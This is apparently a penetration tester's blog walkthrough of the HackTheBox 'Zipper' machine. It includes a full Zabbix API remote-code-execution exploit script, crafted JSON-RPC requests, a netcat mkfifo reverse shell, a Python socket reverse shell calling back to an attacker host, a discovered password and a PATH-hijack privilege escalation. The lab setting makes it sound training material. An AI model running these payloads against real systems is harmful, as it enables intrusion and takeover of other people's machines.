Select Page
  • HackTheBox Dificulty Rating 52% 52%





Release date:

2o Oct 2018

This was a pretty cool box, even if I had a bit of a problem when trying to get a stable reverse shell that made me leave the box alone for a few months until coming back to it and cursing myself for not trying something other than netcat or bash.

Anyway, for the user part this box starts with a discovery of a service, a little guesswork on the password of a user, followed by some tweaking of an exploit based on what you find is happening with the underlying service. After that you need to get a reverse shell and find a password to escalate to the first user.

The root part is fairly straightforward. You manage it by using the PATH variable.

Let’s get to it.



We start by doing a nmap. I usually start with –sCV –O for a first look and then move on to a more in depth search.

Starting Nmap 7.70 ( ) at 2018-11-05 23:40 EET
Nmap scan report for
Host is up (0.086s latency).
Not shown: 998 closed ports
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 36.40 seconds

nc -v 10050 inverse host lookup failed: Unknown host
(UNKNOWN) [] 10050 (zabbix-agent) open


We see that port 80 is open and it has a default Apache page. We spin up gobuster and see what else is hiding on that web server.

Gobuster v2.0.0 OJ Reeves (@TheColonial)
[+] Mode : dir
[+] Url/Domain :
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
2018/11/05 23:46:04 Starting gobuster
/zabbix (Status: 301)
2018/11/05 23:47:42 Finished


Following the /zabbix url we find a login page for a Zabbix monitoring software tool. This tool provides monitoring metrics like network utilization, CPU load and disk space consumption. It also has the option to write custom scripts and execute them on the hosts. Let’s access the page as a guest and take a look around. After some poking around, we find this:


It seems to be a custom script made by someone named Zapper. Let’s try to login using that username with some default passwords. Going along the lines of the recurring theme of HTB that lazy users don’t secure their accounts, zapper zapper works… but what’s this?


Let’s see what’s going on behind the scenes


It seems the service accepts us as a valid user and assigns us an auth token but denies access to the GUI interface. After a bit of searching I found and exploit that seems to be perfect for our purpose:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Exploit Title: Zabbix RCE with API JSON-RPC
# Date: 06-06-2016
# Exploit Author: Alexander Gurin
# Vendor Homepage:
# Software Link:
# Version: 2.2 - 3.0.3
# Tested on: Linux (Debian, CentOS)
# CVE : N/A

import requests
import json
import readline

ZABIX_ROOT = '' ### Zabbix IP-address
url = ZABIX_ROOT   '/api_jsonrpc.php' ### Don't edit

login = 'Admin' ### Zabbix login
password = 'zabbix' ### Zabbix password
hostid = '10084' ### Zabbix hostid

### auth
payload = {
    "jsonrpc" : "2.0",
    "method" : "user.login",
    "params": {
     'user': "" login "",
     'password': "" password "",
    "auth" : None,
    "id" : 0,
headers = {
    'content-type': 'application/json',

auth  =, data=json.dumps(payload), headers=(headers))
auth = auth.json()

while True:
cmd = raw_input('[zabbix_cmd]>>:  ')
if cmd == "" : print "Result of last command:"
if cmd == "quit" : break

### update
payload = {
"jsonrpc": "2.0",
"method": "script.update",
"params": {
    "scriptid": "1",
    "command": "" cmd ""
"auth" : auth['result'],
"id" : 0,

cmd_upd =, data=json.dumps(payload), headers=(headers))

### execute
payload = {
"jsonrpc": "2.0",
"method": "script.execute",
"params": {
    "scriptid": "1",
    "hostid": "" hostid ""
"auth" : auth['result'],
"id" : 0,

cmd_exe =, data=json.dumps(payload), headers=(headers))
cmd_exe = cmd_exe.json()
print cmd_exe["result"]["value"]


It seems to take in as variables the IP address and the same API url that we found when logging in  and then the username, password and a hostid. Then it proceeds to do the same login procedure as we did before and takes that result token and stores in to the auth parameter we saw in the request. After that it calls a method named script.update and takes a command from us as a parameter and executes that command with the method script.execute and prints the output for us. This is perfect. We can simply make a reverse shell using the following command:

 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f

We do this because the –e option in this netcat version is not available. After getting back a shell and poking around the box we find out that we are not in the place we need to be and are instead inside a docker container.

This is the time when we need to go back to the beginning and see what’s going on. First of all, let’s enable GUI access so we can have a better picture of how things work. To do this, let’s create another user that has the GUI interface active. First of all, let’s get a list of users using the user.get method.


It seems that Administrator and zabbix both have type 3 access. Going to the documentation at we see the following:


Yes please!

A few more documentation pages later and we come over the usergroup page where it tells us about the different group id’s and we see that group id 7 is administrator group with full GUI access. So now we are ready to call the user.create method:

POST /zabbix/api_jsonrpc.php HTTP/1.1
Content-Type: application/json-rpc
Content-Length: 295




So after poking around I found out that there are two boxes tied to the service. One agent and one server. After A LOT more reading the documentation I found that I could make choose which box to call by adding the execute_on key with the value of 0 (to force execution on the agent and not the server) after the command in the JSON request when updating a script.

So the request should look something like this:

POST /zabbix/api_jsonrpc.php HTTP/1.1
Content-Type: application/json-rpc
Content-Length: 154

{“jsonrpc”:”2.0″,”method”:”script.update”,”params”:{“scriptid”:1,”command”:”ls -al /tmp”,”execute_on”:0},”id”:6,”auth”:”c0e87daf878135ebe09b12ec627e648a”}


Now we can modify our python exploit with this new option and have code execution on the host.


This is the part that made me leave the box for a few months because when trying to get a reverse shell back, it would die after 5 seconds. I tried detaching the execution thinking that maybe the Zabbix script closes after the command runs. I even tried to make a bind shell with the same results. It seems that it had a problem with netcat and bash shells. Python3 shells, as it turns out, work perfectly so it was a matter of changing the shell. This is what I love about these CTF’s, they constantly challenge you to not skip steps and try and try until something works.

python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[“/bin/sh”,”-i”]);’


After getting a stable reverse shell and enumerating, I come across a file in /home/zapper/utils/ that seems to archive the contents to another file. The important thing to note here is the password: ZippityDoDah

Keeping in mind that the users of this server are bad at securing stuff, let’s try to switch to the zapper user using this password.


Success! Now we can read the user.txt flag and, for a more easy and comfortable way of access, we can copy the id_rsa file and ssh directly.



Root is pretty straightforward. We immediately see a SUID executable. My first thought is buffer overflow so I check if ASLR is enabled by doing ldd multiple times and greping for libc and seeing if the address changes.


This means ASLR is enabled. Next thing I do is get it to my host and checking it’s security from gdb-peda using the checksec option. NX means it has DEP enabled so we cannot execute shellcode from within the executable. At this point we can probably rule out the buffer overflow idea.


While inspecting the executable with strings I noted that it called systemctl without the full path specified.


This means that if the executable is running as root and it calls a function without the full path specified, that path is under our control. Meaning that we simply need to create a systemctl file with the contents of, say:



Set it to execute with:

Chmod 777

Then export the PATH so that when the root binary calls systemctl it runs it from where we tell it to:


And then simply run the executable and do either start or stop when prompted (both options execute our fake systemctl) and enjoy your root shell.

  • InfoSec enthusiast
  • Penetration tester
  • CTF player